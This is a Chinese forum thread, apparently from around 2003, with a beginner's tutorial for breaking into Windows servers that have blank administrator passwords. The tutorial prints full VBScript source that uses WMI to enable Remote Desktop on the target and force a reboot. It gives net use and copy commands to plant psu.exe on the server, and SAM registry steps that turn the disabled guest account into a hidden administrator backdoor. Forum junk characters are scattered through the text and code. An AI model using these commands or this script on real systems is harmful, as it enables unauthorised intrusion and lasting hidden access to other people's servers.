一次简单的3389入侵

firelinux

一次简单的3389入侵过程 : Z$ [9 Q" R h2 Q原创：caozhe（草哲） 来源：中国欲网技术论坛--草哲 - X' U/ W# U* k3 h 我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ 于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ 要入侵，我建议你在win2000环境下来*作！ 0 T! y0 a1 @& A! w首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ 扫描的X-Scan V2.3、WINNTAutoAttack、流光！ X-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ . t# K3 k' Y3 U3 [远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 克隆帐户用个psu就可以了~！ & C8 r# x4 }5 E7 G OK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 运行CMD（2000下的DOS），我们给它开终端！ ( k5 x: }7 N7 N* H& q) G命令如下！ cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr 上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） 因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ ' b( Q' z7 T% @( ]* P9 i一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t 9 o/ q, k2 H W. x: E安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ 回到DOS下！我们建立IPC$连接！ % R/ Q! c& T5 H' vnet use \\120.0.0.1\ipc$ "" /user:"administrator" * _. l8 |* q4 A0 @$ k: O& J8 H( O这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ 6 K/ _1 C! M3 m! lcopy psu.exe \\120.0.0.1\admin$\system32 上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ 2 u1 ~, d3 J6 }2 ^- X6 W ) I1 S k' _* L9 y' G7 a n1 [假设guest用户被禁用，我们就是要利用guest做后门帐户！ # a- X+ z- ?7 ?' H在该服务器运行CMD，在命令行下输入 psu -p regedit -i PID 1 ^$ A% m& G$ O0 i+ Y 6 x% ]; T1 e8 u. ?; B Q这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ : |5 S: F4 q. Q. o看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 psu -p regedit -i 5458 1 ^1 v7 s: K) o& ^6 r/ c这样直接打开注册表，可以读取本地sam的信息。 # D2 [4 l. \$ ^& T% D打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 3 q* N4 X2 x$ I* Q3 E# E6 [查看administrator的类型，是if4，再看guest的是if5 好了，知道了类型后，打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 4 V! I4 p$ a' U4 X% A! A这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 ; l/ n$ J: C0 J% G* X9 n" C1 J7 j双击右侧的F，把刚复制的粘贴到里面！ 5 z n4 f, J" C. p- u0 W做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 ' M+ _; Q. h* j @4 ]" E( ?和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest ) N. ] R3 Y5 k* ?) U这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 ' R& ^$ c' d+ W: X, P/ q打开CMD，在命令行下输入 net user guest password - H7 {6 i& _& Y& t这条命令是给guest设置密码，后面的password就是密码 然后输入 net user guest /active:y 这命令是激活guest帐户，然后我们把他禁用 5 c& G& P$ V6 E0 M; u+ Enet user guest /active:n 上面的三行命令必须在DOS下执行！ OK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ 而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ 7 ?$ s$ Y1 ~6 K注销一下，用guest登陆吧！ 0 e4 \0 o9 ~" q1 P" K) P打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ 如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ ; u& u! s; X) E& P' b2 o因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ ---------------------------------------------------------------------- 以下是开终端的脚本，把它存为*.vbe on error resume next set outstreem=wscript.stdout 7 r9 t+ _0 h; U* |$ p) e" a3 N) y q: ~set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then 8 i# S% K4 Y2 ^% e$ r set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) ; K; `3 T1 O# c/ ] wscript.quit 5 v) g. F& a2 w/ ?/ f( v. u. r2 ^6 aend if if wscript.arguments.count<3 then usage() ' R3 s! ], L) p% o$ ~. Z wscript.echo "Not enough parameters." ( d7 z' A! U+ x. k$ O wscript.quit end if ipaddress=wscript.arguments(0) 9 [# x! `" t7 b' S, p5 Kusername=wscript.arguments(1) : V, G; U) d# l6 V5 Ppassword=wscript.arguments(2) ( T6 b+ q( d% M' }# M# P. qif wscript.arguments.count>3 then port=wscript.arguments(3) , u5 w- i. J% c7 f0 Y! j& p: E% }else 6 D! w3 K h5 `+ w9 f; ~ port=3389 end if if not isnumeric(port) or port<1 or port>65000 then , X& U, `$ ]6 y2 L& V2 \7 m wscript.echo "The number of port is error." wscript.quit h* _; F: [$ Y2 aend if if wscript.arguments.count>4 then reboot=wscript.arguments(4) else ' D. S9 {/ R& U3 H' ~ reboot="" 6 O" w: a% ^$ q& S/ P( m9 Oend if : A. l' V, T0 J( L" F9 wusage() 2 c) [4 W g, L& [, i" ^3 D# }outstreem.write "Conneting "&ipaddress&" ...." $ A+ N8 O9 d, H& x4 wset objlocator=createobject("wbemscripting.swbemlocator") & X# y( C" x. c! A, wset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) / ^4 M3 L9 k$ [8 B2 n# Y: [1 P. Fobjswbemservices.security_.privileges.add 23,true 4 N% x/ v& K7 t2 a* x. g" k! Q- Xobjswbemservices.security_.privileges.add 18,true outstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") for each objinstoscaption in colinstoscaption $ U, I/ z) i: e6 a- n if instr(objinstoscaption.caption,"Server")>0 then ' V5 y9 w$ ^! r5 ?- J1 q wscript.echo "OK!" + \' [+ w z$ j2 Y$ X else wscript.echo "OS type is "&objinstoscaption.caption ' C! I) X- p5 S outstreem.write "Do you want to cancel setup?[y/n]" * ^+ S2 e. E* T7 H# O% u. b3 r strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit Z% p7 ~. z) w3 w6 @* y% c end if next 2 D, ~2 l. }! J6 e : x. a$ U1 E2 q" {6 F3 B. E* Youtstreem.write "Writing into registry ...." set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 with objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" 8 p$ J! m5 U: k6 s, N1 }' s.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 2 B& V' W' s# R; k0 U! R+ r.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 / ]7 y0 S: T7 n.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port end with 1 O. U) |" C* t5 ^: X7 ^showerror(err.number) 8 j0 u8 h0 f: ~& ?) Jrebt=lcase(reboot) , L3 l. N$ z& a5 ~ [; Lflag=0 if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 " P5 _9 _ ]6 M% l' fif rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 if flag<>0 then 7 ]7 H9 u8 @: f3 [, {7 l, p outstreem.write "Now, reboot target...." % |# ]) K, _! |+ K( d _: x6 ? strwqlquery="select * from win32_operatingsystem where primary='true'" ; }. @6 g& Y2 L% r& s set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) next showerror(err.number) else wscript.echo "You need to reboot target."&vbcrlf&"Then," 3 \) A" d5 ~- C6 b' pend if wscript.echo "You can logon terminal services on "&port&" later. Good luck!" function showerror(errornumber) if errornumber Then - I/ t# ]4 J8 x& M wscript.echo "Error 0x"&cstr(hex(err.number))&" ." if err.description <> "" then % t7 d! {. S6 F! F% _% U wscript.echo "Error description: "&err.description&"." end if - D* p0 R$ g9 O/ R wscript.quit 2 W2 a6 A* |/ c# W4 s8 Q! F [- lelse wscript.echo "OK!" end if end function 2 X6 f! M' v/ L' J. }; }* k & P- R- b0 w- P( R: I5 w7 x- Bfunction usage() wscript.echo string(79,"*") 0 y" F. H* f% a8 [$ j5 pwscript.echo "ROTS v1.05" 8 x2 U# M7 ~+ T: ^* k9 Twscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" / D8 X9 C7 l- H" |wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" * F o/ o5 }& v5 W; Uwscript.echo "port: default number is 3389." 3 [+ O# g: t: V* r. Wwscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." }; V7 V# b. B6 i( Fwscript.echo string(79,"*")&vbcrlf : k$ ~7 g! ]+ s! x$ K7 tend function 转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
/ n$ u& O  Z/ n  }& k还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

  X; o! b- p+ c1 b

, w2 s: a1 ]1 b( |0 V; R) [) h

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。